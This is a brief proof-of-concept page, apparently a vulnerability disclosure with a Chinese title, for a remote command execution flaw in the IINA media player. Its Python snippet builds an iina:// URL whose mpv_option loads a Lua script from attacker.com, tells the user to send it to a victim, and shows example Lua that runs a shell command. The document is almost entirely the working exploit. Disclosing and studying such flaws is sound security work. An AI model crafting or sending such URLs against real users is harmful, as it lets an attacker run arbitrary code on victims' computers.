CVE-2026-47114 IINA远程代码执行漏洞

# PoC for CVE-2026-47114: IINA Command Execution via URL Scheme # The vulnerability allows executing arbitrary commands via mpv options. # An attacker would host a malicious Lua script and trigger it via the URL. import urllib.parse # Construct the malicious URL # 'mpv_option' is passed directly to the mpv command line # Using --script to load a remote Lua script that executes shell commands malicious_url = "iina://open?url=http://example.com/video.mp4&mpv_option=--script=http://attacker.com/exploit.lua" print(f"Send this URL to victim: {malicious_url}") # exploit.lua content example: os.execute("open -a Calculator")